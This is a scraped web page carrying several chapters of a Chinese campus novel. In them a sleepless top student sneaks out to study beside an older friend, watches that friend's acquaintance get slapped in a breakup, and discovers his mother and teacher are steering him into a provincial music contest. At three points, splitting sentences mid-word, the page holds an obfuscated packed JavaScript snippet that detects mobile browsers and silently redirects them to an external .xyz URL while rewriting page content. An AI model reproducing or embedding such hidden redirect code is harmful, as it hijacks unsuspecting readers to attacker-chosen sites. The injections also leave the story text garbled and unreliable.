“应该还可以减一部分学费。”申恺说，“还是供不起啊。他自己要来石中，生活费没跟家里拿过，靠驻唱赚的。” 陈向然远远瞄了眼齐怀生，他还在苦苦钻研试卷。 “学校没给政策么……” “那得问你们学校咯。”申恺笑，翘起二郎腿看他。 他知道学校近来年年扩招，学费水涨船高。外人戏称是贵族学校。可食堂伙食不见好，教室也不曾装空调，宿舍热水器常年损坏，也没有更换过。 钱去哪儿了？ 陈向然常常思考这个问题。 他左右观察了一下，忽然泥鳅一样向下溜，从桌底下溜出去了。其他人刚反应过来，他已经跑到齐怀生旁边，拉张椅子坐下，往桌上一趴，看他做的笔记。 “喂喂，我们生哥说了，不准打扰——” “出去。” 齐怀生一令，群人突然安静。 申恺抿了抿嘴，外套往肩上一甩，挥手喊：“算啦，今天生哥不会跟我们一起嗨了。” 老张附和：“走走，快活去。” 他们像乘坐洋流的鱼群一般，呼啦涌出饭店。玻璃门也不好好关，前后甩荡了好几下。 桌上摆了一杯冰啤，只喝了一两口，酒精都要挥发完了。酒水金黄剔透，随着齐怀生在桌上书写轻轻颤动。 他写了一会，抬头看陈向然：“回你学校去，今天不奉陪。” 陈向然不为所动。 齐怀生的笔记密密麻麻，一半以上做了无用功。一个曾经成绩如此优秀的人，怎会搞这种大海捞针一样的笨方法。 “这些都可以不看。”陈向然指着他其中一页笔记，抢了他手上的笔在上面打记号，“这页也是。这页、这页……都是。” 齐怀生大概是人生第一次被人抢走东西，眉心微蹙，却也没急着要回来。他撑着脑袋，手指一下一下地敲击桌面，仿佛在看他表演。 “还有这些。”陈向然还翻他的课本，几乎抢光了齐怀生除笔袋和啤酒外的所有东西。这里打个大括号，那里打个叉，“这几个可能会考，但不用花太多心思深究，几道固定的题背一下就可以了。” 齐怀生轻叹，指尖停止了敲击。 “说完了？” “还有，像这种全是高考难点，你都没有标出来，对应的练习也太简单……” “我知道。” 陈向然尴尬地定了一瞬。 他合上笔记说：“那你没必要这么记，这样识别不了重点。” “最近才知道。”齐怀生把课本笔记都薅回来，“我分析近七年的高考题，再去网上找权威习题，每科试几本，就分析出来了。” “……” 他说得轻飘飘的，几年高考题，每科试习题，这些步骤齐怀生从高一做到现在，费了老大工夫才总结出来，不如海中老师在课堂上一句“这部分很少单独出题但每年必考”、“这部分难点我会针对性出题给大家练习”。 “你哪科、哪部分，或者哪个知识点不扎实，可以找我。我整理了习题，可以给你。” 刚薅回怀里的题册又被陈向然蛮横地挖回去，他哗啦啦地翻页，熟练地圈画。齐怀生拗不过，只能看着他，由他去。 阳光一点一滴从落地窗淌进来，周围静得只剩吊扇转动的嘎吱声，和陈向然的翻书声。他写起字很利落，唰唰几笔，就标了几个重点。标完数学发现手边没书册了，问他其它科呢？ 齐怀生支着脑袋，一动不动，暗沉的琥珀眼定定地凝视他：“你高一还没学完，高二的东西也会？” “我们混着学，高一的已经上完了。” “学这么快，哪来时间消化？” “每天都是时间。”他说，“早读、午休、晚自习，吃饭排队、洗澡排队，都是时间。早上早点起，出操前都能学两小时。” “你们几点出操？” “六点多。” 齐怀生沉默了。 他嫌齐怀生太懒，递个课本都不乐意，站起来要翻他椅子上的另一堆书，被抓住手臂，拉着重新坐下来。 “现在回去。”他朝海中的方向扬扬下巴。 陈向然拍了下桌布：“我帮你看书，你赶我走？” “熊猫眼也想看书？回去睡觉去。” “有得睡，我还用得着跑出来。”陈向然嘀嘀咕咕。而后像个蛮不讲理的无赖，“咻”地又抢了他的书，这回是物理。 然后脑袋被摁倒在桌上，手上一空，书又被抢回去了：“可以睡十五分钟，到点叫你。” 这个卧倒的姿势，把他长时间失眠、早醒的困意都给勾出来，蠕虫一样地爬上他的眼皮和大脑睡眠中枢。齐怀生的手在大冬天里还是温热的，覆住他半侧脑袋，他半边脸都贴在木桌上，浑身都昏沉起来。 “桌子硬，趴桌颈椎疼。”他被摁在桌上，扯扯嘴角，拍拍齐怀生的肩，“借生哥臂膀一用？” 齐怀生动作定了一定，把手拿开，重新面对桌上的习题，低声道：“得寸进尺。” 齐怀生长得结实，陈向然嫌他肩膀也是硬的，把校服叠成四方块——用的是学校规定叠法——放他肩膀上，转身背对他，一只脚架在椅子下方的横杠，后脑勺舒舒服服地枕下了。 齐怀生嫌弃地看了一眼，没管他。 吊扇嘎吱、嘎吱地盘旋。 周围的白噪音宁和舒缓，偶尔的摩托喇叭声也被厚厚的玻璃墙隔绝在外，陈向然这么多天第一次没有被闪电般的幻听惊醒。迷迷糊糊，齐怀生身上的檀香气萦绕在鼻尖，凝神静气。 在齐怀生的世界里，一切都太平和了。 这让他想起小时候。 那时他还住在离海边不远的某个村寨。在村里的茶园、番薯地里打滚，在海边嶙峋的礁石上攀爬，溅湿一身海水。在瓦檐下、石板路上奔跑。 累了便躲进村里的祠堂角落，把祭祀用的跪垫排列起来，蜷卧上去。香炉袅袅，窗棂之外暗香春色，他在缱绻梦乡里，被姥姥厚重的臂膀抱回了家。 因此他对祠堂庙宇有种天然的亲近，他记得姥姥生前曾说，檀香中自有彼岸宁和，寺庙铜钟声起，人就能暂时忘却一切人间孤苦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301936|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他站在梦境边缘，安宁的画卷里闯入一阵违和的声响。千里海堤蜿蜒扭曲，雾海渔舟、灰瓦红梁，一切水墨般消散。 是林岚要求设置的专属铃声。 脑海里的宁静被撕开一道缝，他半梦半醒地探出手，想要接电话。却抓到了什么柔软的东西。电话铃断了，意识的裂缝填补上，他重新安静下来。 同样的铃声又响起来。 他伸手去摸手机——手机被“抢”了，才知道刚刚抓到的是齐怀生的手，这只手夺了他的手机，接听起来：“你好，陈向然在睡觉，晚上再打来。” 他的脑袋和齐怀生听电话的耳朵近在毫厘，几乎没有听到对面应声，电话就被挂断了。 然后一直平静地睡下去，直到睡过了头。 说是十五分钟，他睡了半个小时。 醒来时刚刚恢复时间体感，眼皮朦胧，发觉睡太久了，诈尸一样翻起来。回头看了眼店里的时钟，还有十分钟上课。 睡了一个难得的好觉，代价却是迟到。真不是一桩好买卖。 “醒了？”齐怀生问。 陈向然才发觉桌上一片干净，酒喝光了，课本、笔记、文具都收进了黑色大书包，拉链都拉上了。 齐怀生在等他，也不知等了多久。 “怎么不早点叫我。” 他无意怪谁，只是急上了头，非得抱怨一句。急火火把校服塞进书包，腾一下站起来，甩起书包准备跑步回学校，能少迟到一分钟就少一分钟。 “啪”，手肘被扯住，拉过去，齐怀生带他出了饭店，到一辆小电驴边上，抛给他一顶旧头盔。 陈向然看着那圆滚滚的头盔，脱漆都快脱成世界地图，仅剩的红漆反射着阳光，有些晃眼。他看了眼齐怀生那顶——上边磕凹了一块，松紧带上有针线痕迹，是缝过的。 齐怀生打起脚撑，小电驴倒退到路上，看他发呆，眉峰一抬：“不戴？那自个儿迟到去？” 陈向然倏然回神，戴上头盔，咔哒系好。 “坐稳了。” 齐怀生刻意开快了，不到一分钟就到海中附近，顺着陈向然的指引开到那片围墙下。 艳阳高照，墙顶的玻璃碴尖一闪一闪，像把把尖利的匕首。陈向然扶着他的两肩下车，还给他头盔。 而后齐怀生看他熟练地从灌木丛里搬来一块垫脚石，一块一块拔去墙顶的玻璃碴，扔到围墙内。拔出一块缺口后，两手一撑，整个人翻上了墙顶。 他回头，齐怀生还仰着头，眯眼看他。他没有理会，把玻璃碴一块、一块再“种”回坑去，完美“闭门”。 “走大道？”齐怀生问。 “啊？” “是谁告诉我，自己只走大道？”他给小电驴调了头，熄火，“不捅天窗，也不钻狗洞。” 陈向然笑：“确实没捅过，也没钻过。” 他强词夺理完，喊了声“再见”，从围墙内的废弃课桌上跳下去，直奔教学楼。 齐怀生看他消失在墙顶上，又“哒哒哒”跑远去，心想真是搞不懂这个人，嘀咕了一句“莫名其妙”，摘下头上凹陷的废头盔，换上陈向然刚戴过的那顶。 他踢起脚撑，动作停了片刻，忍不住露了点笑。 引擎一轰，甩尾而去。 18. 浪子 陈向然就这么得到一片逃离之地。 只要他从山坳下那片连绵的西围墙翻出去，就会看到齐怀生站在墙根阴影下，倚着他的旧电动车。草木的影子轻轻拨动，将阳光细细揉碎了，和午间微风一起洒在他身上。这几天都不见他抽烟，连一丝烟味都没有。 他看过来，嘴角轻轻一提，拍拍黑色的坐垫。 陈向然跨坐上去，老旧的引擎一声轰鸣，他就贴在齐怀生的背上，乘风而去。 齐怀生带他逛遍了整个镇的街区，在窄街、批发商店、杂货铺、电线杆、头顶的空调机之间穿梭，凡是机动车能驶过的地方全兜了遍。石中附近的小吃、甜品比海中多多了，尤其从后门起始，可以看见这里最热闹的美食一条街。 斜巷狭窄，他们下车步行。此时的石中已经开始放寒假，这条街仍人来人往，烟火缭绕，敲锅碰碗叮呤咣啷，人声喧哗。有人在卷帘门边卡一只喇叭，当地特产小吃的名字念上几遍，念得陈向然都驻足了。 刚想接着走，齐怀生轻推他一把：“想进就进。” “我早上还剩几道题，逛完我们回去吧。” 齐怀生听到“早上”，反应很快：“你又四点起床了？” “……”他像个犯错的小孩朝他掀了一眼。 他其实也不想，可是他好像醒来后就再也睡不着觉了。水管排水声哗哗响，像是在催促他爬起来，去拿书，没写完的题用名为内疚的情绪折磨他。但他看出齐怀生隐隐有些不高兴，便不吱声了。 齐怀生把他拉进店里。 店面很小，人却不少，一走进去肩碰着肋，肘撞上脸，两人在角落捡了张单人小桌挤挤。 陈向然叫了一碗热甜汤。 汤汁丝滑粘稠，刚端上来，大寒天里冒着热气。颗颗饱满软弹的糯米丸子浮游在汤上，入口便缱绻在舌齿之间。热汤滚到胃里，被山风刮得发僵的手暖和过来。身体一旦感到舒服，倦意也悄悄袭来。 齐怀生什么都没点，看他吃得两颊一鼓一鼓的，说：“吃那么快干嘛？” 准军事化寄宿生紧赶慢赶、永远在赶的习惯都写进基因了。 “慢点吃。中午就别写了。”齐怀生说。 “不写就堆成山了，”他含了一颗糯米丸子，话也说得黏黏糊糊，“中午还有新发的试卷。” 齐怀生“呵”了一声：“这些东西，你永远写不完的。” 吃完他们还是在后街找一家人少的餐馆。齐怀生点杯热烧酒，摊开寒假作业。陈向然就在他身边午睡。店里的服务员默许了他们把椅子拼起来。陈向然就这么得到一张临时躺椅，和一个“人皮靠垫”。 他没有马上睡，翻开试卷，两道物理大题，第一道是简单的动能计算，他解决得很快。第二道的第二小题是道动量，他才刚刚自学动量板块，绞尽了脑汁也只列出两道公式。打算查查书，发现自己书包空空如也——书都放在教室里，便伸手跟齐怀生要书。 齐怀生非但不给，还要抢他的。 “刚说你脸色好一点，你就飘了？” “靠，松手。”陈向然急了，这套题全班只有他还没做完，他踩着木杠，几乎要站到椅子上，去够他的手，“又不关你事。” “不关我事？”齐怀生的声音沉到了深井里，“啪”拧住他手腕，那双眼睛像黑夜里的猫眼，审视般眯起来，“那你天天跑出来找我？” 陈向然又露出那种狡黠的笑：“生哥还天天来接我呢。” “那这些笔记，是你闲极无聊、心血来潮？”他把陈向然两只手都制住，“还是你从哪听到了什么？” 争来夺去的，弄得他实在累了，才缴械投降。 店里恰好走了最后一位客人，阳光正好柔和，安静得只剩下转扇吱呀。他倚靠在齐怀生身上浅浅入眠。 这回没有林岚的电话铃声，他的意识在绵沉的黑暗中憩息。刚刚睡去，餐馆的玻璃门“砰”的一声，风铃跟着尖叫起来。 又“砰”一声，有东西撞在上面。 陈向然揉着眼睛，从齐怀生身上起来，趴着玻璃看去。这个角度只能看到一个浓妆艳抹的女生，她穿了一双七八公分高的咖啡色高跟鞋，银色带亮片的裙摆不及膝，手上提了个劣质皮包，妆也化得相对笨拙。陈向然想，还不如汇演那天宣传部学姐给他化的舞台妆。 也或许不是妆化得不好，女生当下正发飙，她的哭喊和踢踏颠覆了她精心的装扮，尖锐的吼声隔着玻璃传来。 “砰”，她又一脚踢到玻璃上。 “谁啊？”陈向然趴着玻璃，左右看不见她对面的人。 齐怀生说：“申恺。” 他猛回头，发现齐怀生头都没抬，在错题边上抄注释。抄一半，翻了眼答案，把句子补全了。 他眼睛长外面去了？ “申恺怎么了？” 吱呀一声，门开了道缝，吵架声一下从缝里钻进来。女孩喊着“她是谁，她到底是谁”，申恺甜言蜜语哄着，说那是前任，都过去很久了，他只是欠了人一点钱，现在还清了，不会再有纠葛。 女孩不依饶，高跟鞋踢得他的小电动车尖声哀鸣：“那昨天那个是谁？为什么她有生活用品在你家里？” “那也是以前啊我的姑奶奶。”申恺走上去把人揽怀里，又被挣脱了，“她借我家阁楼过一晚，后来忘了拿走，东西我不敢扔，怕人家回来拿嘛。宝贝，我知道你能理解这些。” “你骗人。” “我怎么会骗你？” “我都摸过了，牙刷是湿的，早上才用过。你个畜生！” “啪”一个响亮的巴掌，申恺摔进饭店，女孩踩着高跟扬长而去。 申恺蜷在地上打了半个滚，捂住脸嘶嘶地吸冷气。 “先生，这位先生？”服务员走向申恺。 申恺忍住疼，艰难地坐起来，抬头对上一张姣好的面容，笑着说：“不用担心我，小姐，一点小伤。” “先生我们做生意，请不要躺在店门口。” “……妈的谁想挡你们道似的。” 他嘟嘟囔囔从地上爬起来，就听到一连串轻轻的“啧啧啧啧”。一扭头，那张让人膈应的脸就躺在他生哥身上，嚣张得很。 他随口骂道：“高兴不死你，陈向然。” “怎么回事啊？” “靠，那个都分了老久了，突然说来拿东西。根本也没在我家过夜。合着在卫生间洗手，洗的是牙刷。”申恺揉揉发红的半边脸，“就他妈故意的。我是真忘了把她东西扔掉，还让珊珊看见了，草……” “这个珊珊交往多久？” “老久了，一个星期呢。” “……” 陈向然重新理解了一下“老久”的意思。一个星期，就把人带回家。甚至上一个的东西都还没搬空。 陈向然好奇，又多问了一句：“现在，你怎么办？” “啊？什么怎么办？” “珊珊呗，你不打算追人回来？” 申恺插着兜朝他们走近来，一肘子架上桌面，桌上的酒水便晃了一晃。 “来，陈向然，哥给你算算。”他勾勾手指，“我现在去追珊珊，需要几个步骤。首先向她解释清楚牙刷的事，再向她坦白我和前任同居过，向她保证我们什么也没发生过，最后向她证明我最爱的是她，她是最特别的一个。如此操作，有百分之八十以上的可能是收到两巴掌。”他顿了一顿，等陈向然消化片刻，“而我追一个新的女孩，只需要告诉她，我对她有意思。” “……”陈向然彻底懵了。 “对吧？小高一学着点哈。”申恺笑嘻嘻的，目光从陈向然转移到旁边的齐怀生，笑容就渐渐消失了。 齐怀生一双暗琥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301937|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珀色的眼，像面对仇人一样瞪着他：“你滚不滚？” “滚，生哥！哦不，我马上滚，生哥！”申恺嬉皮笑脸地敬个礼，回头便离开了。 走出门的时候嘴里嘀咕着什么“青春啊青春”，敞开怀，对天骂咧了两句，两手一插兜，甩着两腿走人了。 齐怀生把他拉到身边：“睡觉，好学生别听这些。” 陈向然若有所思地斜睨他一眼。 齐怀生感觉到身旁目光灼烈，写不下去了，轻叹一声：“干嘛？” “你怎么有这样的兄弟？” “不是我兄弟。” 陈向然托起下巴注视他，缓悠悠说：“不是你兄弟，还是我兄弟？” “父母认识，小时候认识罢了。” 齐怀生提起申恺一向没什么好话，算不上厌恶，也没有不屑，更像是烦躁和愁闷。申恺倒对他有种难以理解的“忠诚”。 “那不就是发小嘛？”陈向然说。 “发什么小。就他那样，没救。” “怎么没救？” 齐怀生在一道选择那打了个D，放下笔看着他：“天天闲着泡妞，就是不想读书，说高考不是唯一出路。我问他有什么别的打算，他说以后要去大城市闯荡，做服装生意，或者模特。”他看向别处，冷笑一声，“那为什么不去做？成天摆出一副无所谓的样子。” 陈向然想到那天，申恺把齐怀生的事捅给自己。 不是随口聊起那么简单，他认为他会帮齐怀生一把，且认为这件事情重要，至少对齐怀生而言重要。 所以也许……他并非完全拎不清。 “可是高考……” 陈向然重新躺在齐怀生肩上，头顶吊扇呼啦、呼啦，走了一圈又一圈。 “它本不该是唯一的出路。” 方柱上的挂钟“咔哒”、“咔哒”走到两点，快到下午上课的时间。 齐怀生在他身后有须臾的沉默。他盖上笔帽，扔进笔袋，开始收拾书包。 “你的艺考怎样了？” 陈向然告诉他，找到老师了，和老师非常聊得来。说着说着提起了严霖辉，因为起初规划艺考，是严霖辉的提醒。 齐怀生也同他说了很多严霖辉劝学的事，说他也不知道严霖辉为什么执着于让他补习，海中老师招牌大，应该不缺他这个亏本买卖。 “有机会代我向他问好吧。”齐怀生坐在前面，开着电动车，声音被风声盖住了，“他要是问起，就说我自己学。” “为什么呢？”陈向然趴着他肩膀问。 “啧，不为什么。”听得出他有些不耐烦了。 不需要他去找严霖辉，他一到教室，孙临潼就通知他，严霖辉在办公室等他。 孙临潼最近简直要住在十六班，山长水远地从楼上的另一条走廊跑下来，要么是给叶知递东西、还东西，要么是带了试卷来问问题。有时候想在人女生面前摆摆阔，又没有名义单独约人，就叫上陈向然，说化学补习小组聚餐。搞得好像外面还等着十人八人一样。 今天叶知生病，他下来送感冒冲剂。他平时讲话总带着股活泼劲，但这几天似乎越来越不高兴。补习结束必听见他摔书、叹气。 “只叫我？”陈向然问。 “对啊，说要跟你聊器乐赛，省的。”孙临潼收拾完东西，跟叶知挥挥手，又转向他：“加油吧，海中文艺小王子。” 孙临潼“噔噔”跑回班去了。陈向然还在原地发怔。 省赛的事，林岚早就像个喇叭一样，在电话里重复“拿省奖有利于申请自招”什么的。想想确实到报名时间了。学校为了节省大家的学习时间，规定报名名额有限，报了放弃便是浪费名额，会予以处分。 可周末是艺考培训的时间，参加省赛意味着他要放弃大部分课程。 他当然不会报名的。 19. 道路 教室里没人说话，大部分在刷题。有的人在趴桌，还有的在吃药。程希的桌肚里放了好几个食堂小卖部买的面包，跟胃药极违和地放在一起。叶知在喝感冒冲剂。她的身体太虚，压力大、换季、食堂不太新鲜的食物都可能让她感冒低烧。 陈向然坐下，又闻到那股熟悉的异味。喷了喷鼻息，看了眼刘永凡，什么也没说。 都习惯了。他起身沿过道从教室前门走。 吴自兴在教室后方，走路没正形，从后面摔来，“乓”一声，陈向然回头见他一手拍在叶知课桌上，离自己毫厘之距。抬头一脸傻笑：“差点撞到你啊陈向然。” 他就像一只咧嘴奸笑的黄鼠狼，巨大的爪子还在叶知的题册上，抓破了一页纸。地上零零星星散了几支笔。 叶知呛了一口冲剂，咬着唇，眼里盈着水光。 吴自兴这个姿势不稳，陈向然面无表情地伸出脚尖，挑了他的重心，让他摔倒在地。随后捡起叶知的文具，塞回她笔袋里。 叶知抹了下眼角，有点不好意思：“谢谢。” 教室里霎时窸窣议论。第一排有个娇小的女生，叫张依萌，脸长得雪白圆润，却吊了一双丹凤眼，一眼看去心思多、凶悍，和她小巧可爱的身躯不甚相符。 她声音不大不小，恰好能被这边听见。她说：“怪不得不搭理我们，喜欢和男的混。” 另一个接话：“还两个。” “不止。十四班那谁，供着她呢。” “都安静！”潘千慧拍着桌子，盯住几个讲小话的。 流言是前几天传开的。叶知身体不舒服，请假回宿舍休息。最后也不知怎的，重新回了教室，是孙临潼送回来的。 严霖辉刚好这时在前门探头，镜片后一双锐利的眼一瞟，眉头就锁起来：“快上课了不知道吗？这还要班长提醒？”他扫视全班，用眼神警告在陈向然身后做殴打动作的吴自兴，最后看着陈向然。 “你来。” 师生一前一后走在空无一人的走廊上。 天外白日光亮，落进走廊，栏杆投下阴影，黑白交替有如钢琴键，在行走的身躯上滚动游走。陈向然走在他的正后方，低头看着阴影滑过白鞋。 “怎么样？参加排练不？” 陈向然抬头：“什么？” 严霖辉好像能看穿他一样，没再沿着省赛的话题说下去，另开了个无关紧要的头：“最近累不累？” 这样的客套，陈向然只会说：“还行。” “你回答别人都这么敷衍么？”严霖辉终于回头看他一眼，眼里一丝逗趣，“有没有再见到齐怀生同学啊？” 他心里一跳。 接连“越狱”这么多天，第一反应是严霖辉是不是在后街看见自己了。 随后想起严霖辉寒假前托他的事。 “见过。”他说。 “他怎么说？” “说不补了，没说具体原因。但我猜是……”陈向然垂下眼皮，他猜是因为钱，但这似乎是在质疑严霖辉低价招生的诚意，于是转了话势：“您很关心他。” 他用了陈述句，却是想问他为什么这么关心。严霖辉一路不再说话。打开办公室的门。 老师们都不在，去各自班级巡逻坐镇了。窗外纯白的阳光透过树影，打在桌上的教材、试卷，和严霖辉的白色外套上。 严霖辉的办公位在窗边，他走到办公桌前，一沓资料甩在桌上。风一来，纱帘飘起一阵小小的波浪，拂过这沓教案，再静静落下。 整个房间明亮又安静。 “他可没你们幸福啊。”严霖辉拉过一张椅子，示意他坐下，“好好的为了点钱跑去石中，跟我当年一样，太傻了。” 陈向然瞄了一眼教案，是下次补习课的答案和注解。上面的图解还是画得那么精致。 “您也是石中毕业？” “当时考上信海，但是放弃了，去了石中。唉，还是太年轻了，不知道这个年龄有多重要，没钱的哪怕去借、去贷款，多为自己投资，将来的回报都是成倍的。” 陈向然自己拉过椅子坐下，懒懒地靠在背垫上：“他或许意识到了。但我觉得，他做决定都是很坚决的。” “他会后悔的。知道吧陈向然？社会到处都是信息战。”严霖辉坐进他的转椅，顺着惯性旋了半圈，“你们张老师、李老师，给你们一句点拨，一个高考前沿信息，可以顶齐怀生他们几倍的自学。我当时考上一所普通的一本师范，只能当老师。回过头来才发现自己错过了什么。一步错步步错。连考研、考博都有无形的限制。” 这时陈向然再打量他，才稍稍理解了，为什么他高价收海中的学生，又去石中低价招收。不至于是回报母校，陈向然想，严霖辉这人是纯粹反骨，还固执，看到石中的一些学生就像看到自己，把这样的做法当做自己的人生信条了。 “您其实，不想当老师？” 他轻轻拉上一边窗帘，遮去变得刺眼的阳光：“我大概和你提过吧，我曾经也想画画，这辈子就想当个画画的。” 不需要严霖辉告诉他。陈向然看过他握笔的平稳度，还有教案上的化学实验图，都能看出几分水平。 “我觉得我的目标很坚定，但其实这种坚定可能也就那样。别说艺考，我父母连海中都不让上，因为路远、家里穷，我爸说都是学校没什么了不起，靠自己也一样读书。可归根结底是陌生。一条路，你生活的小圈子里没什么人走，传染来去一群人都不敢走了。穷、没人脉是真的，但穷还没把人分流，信息却先把人分流了。” “想想我当时还挺乖，挺懂事。这种懂事让我放弃得很快，放弃海中，也放弃擅长的事情，因为从小受到的教育就是这样。我那时想啊，还没被教育启智，反而无形中被教育本身束缚住了。对吧？”严霖辉最后还多反问了他一句，似笑非笑地看他，把眼角眯成一道线，“都一个年龄，你大概也这么想吧。” 陈向然没有回答。他喝了口杯里的热茶，接着扯话题：“你喜欢梵高的向日葵？” “不喜欢。”陈向然也回以笑容。 严霖辉似乎很意外。 茶有点烫，杯壁起了浓雾，他晃了晃杯里的茶，又抿了一口。整间办公室都溢着茶香。 “我还想呢，咱班那个板报，是你参考了向日葵画册。”严霖辉说，“不喜欢为什么模仿？” “梵高的向日葵，色彩和风格不自然，他在迎合，所以显得虚伪。”陈向然回忆那时作画，垂下眼帘，“可是再迎合，画家还是没法不在在颜色和细节里，展现真正的自己。” “所以你用虚伪，表现虚伪。”严霖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301938|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辉笑出了声。 陈向然笑而不语。 “迎合不来，展现不了。你这就叫，两头不着。”严霖辉用白瓷杯盖指了指他，“啷当”盖上被子，“我觉得我们可以交个朋友，你说呢？” “交朋友可以，省赛免了。”陈向然替他把拐弯抹角的套近乎直通终点。严霖辉这人，姜还是老的辣。他心想。“报名后不能取消，不能不去。” “不去要处分，你明白吧？”严霖辉说。他的话语弯弯绕绕，终于绕到正题上。 他动了动摁过萨克斯的修长十指，说：“您把我艺考培训的事，告诉了我母亲。” “我什么都没说。”严霖辉直视他的眼睛，“你妈妈现在还以为，你在镇上一位姓简的老师那里上兴趣班。要你放一放，抽一天时间排练省赛。省奖对自招而言是必备。而且，她……” 陈向然没有说话，他捂住了微微翻腾的胃。 平时在学校为了赶时间学习，只勉强饱腹，没有营养，偶尔像今天这样突然改善伙食，疼痛便开始挖着胃囊。一道闪电窜过后脑，是他没有休息好的信号。 可周围总觉得他还有时间，逆水行舟，海绵还能再挤，“努力”这个词没有上限。就像严霖辉说的，不过是沿着过去受到的“教育”运转起来罢了。 陈向然等着下文。可严霖辉“她”了好一会，也没有顺着前言再吐半字。 须臾沉默间，空山般死寂的学校里突然传来痛骂声。严霖辉一个蹙眉，说了句“又发生什么了”，像是以往也碰到过这样的事。 陈向然听见了，是孙临潼，还有其它驳斥和劝阻的声音。 “你先回教室吧，课间我们接着聊。”严霖辉拍拍他的肩，和几个老师一道，下楼了。 陈向然也想跟着看看，没想刚迈出一步，身后严霖辉桌上的固定电话响了。他回头看着闪烁的红灯。 “嘟嘟嘟”—— 响了好几轮。 办公室空余他一人，他左右张望，不见有人会回来，于是接起了电话。 对面沙沙沙响了一会，声音逐渐清晰…… “喂严老师啊，又打扰了。” 陈向然整个人愣住了。是林岚。 “唉刚才忘了跟您说，最近要是看到向然老是画画，不务正业，您就找他聊聊，让他把重心放在学习上。” 他张张唇，不知怎的完全不敢说话，大气也不敢出。 “他挺乖一孩子，就是有时候轴。我太了解他了，这个自招他现在不好好抓住机会，以后要后悔的。但是做家长的有时候不好说他，教育的事嘛，还是得靠你们老师。报名我已经替他报上了，剩下的还得严老师帮忙引导引导孩子。对了，您稍等一下。” 那头似乎暂时放下了手机，“当啷”的一声，有如洪钟震开一道声波，在陈向然脑海中荡漾开去。 刹那一声长吟刺破他的大脑，仿佛黑夜里突然一阵强光照射而来。前后只是短短一瞬，他的鲸鱼来了，许久不见，它的尾鳍如鲲鹏之翼，身躯如城墙之雄。一束天光利箭般刺进海面，它仰首，看见头顶是海的光域，鱼群似乌云过境。身边深海兽群尖牙白眼的恶魔面貌从黑暗中显露。 电话重重地挂掉，掐断一闪而过的恐怖。 他伏于桌上，急速喘息，汗珠缓缓流到下巴…… 20. 抗议 胃部更激烈地痉挛，陈向然缓和呼吸，虚弱地坐进严霖辉的转椅。 严霖辉像个良师益友一样说了这些话，是应林岚要求，劝说他这个“叛逆”的学生。 可有那么一瞬，他天真地以为，严霖辉话里有哪怕一点点的真诚和理解。 他独自下楼，想去看看孙临潼。楼梯间忽明忽暗，不知不觉走到三楼、二楼……小广场的吵闹声越来越大。 陈向然走出一楼架空层，站在下午两点的刺目强光下，一抬头光晕摇曳，每层走廊都探出一排脑袋，教学楼变成了夏季的鸟类栖息地，叽叽喳喳各抒己见。几名刚出勤的红袖圈围着孙临潼，其中有刘永凡。 孙临潼在教学楼前的小广场发他的少爷脾气。他在抗议午自习，似乎是楼上十七班有人因为强制自习、休息不够，出现了一些身体症状和心理问题。可听他的描述，有很大一部分是在说叶知。 “这他妈有一个老师在政教处吗？”孙临潼指着那些红袖圈说，“规则都是你们定，就没有人遵守遵守了？” “孙临潼，你在这闹能有用？”刘永凡推推他那双酒瓶底。 “刘永凡，你他妈先把你两天没洗的澡补上，别天天坐在人女生后面搓泥丸。” 刘永凡两眼一瞪：“你……” “孙临潼你别给我们闹。”另一个人走上来，“我们巡查的比你们更累，还想回教室休息会儿。” “自己想进风自委拿自招推荐，就自己忍着。就你们想休息么？生病的人请个假请不上，因为定假条规定的人都他妈不在。” 陈向然望向四楼，叶知也趴在走廊上，太远了，看不清表情。 原来那天叶知没能请假，是因为那天政教处恰好无人值守。假条少一个签名，不能生效。 她每天轻飘飘地走在校道上，举手投足都是轻的，皮肤在阳光下白得晃眼，发青的血管蠕虫一样在手上游走。她总是脆弱的、游离的，一副身处世外的生冷。她不讨人喜欢大抵和这个有关，偏偏也在一些人眼中宛如需要呵护的林妹妹。 难怪那天孙临潼大骂，说带她去向宿管求情，收到的回复是：一个个都是惯大的，屁大点毛病，放她进去我扣工资的啊。 是宿管的经典宣言了。 后来他陪同叶知回教室，便有了教室里横七竖八的流言。吴自兴自此似乎不太高兴，从偶尔的撩骚，变成今天这样蛮横的欺凌。像个故意引人注目的小丑。可惜出师不利，招惹了陈向然。 教学楼已经沸腾了，几个老师也不知去哪商量了一遍才又回来。 十七班的班主任张士，个头很高、又圆墩墩的，是今年从高三主动退下来教高一的资深老师。他走在最前面，先开口制止：“孙临潼，你搁这嚷什么？” “学校有病，我他妈给治病。” 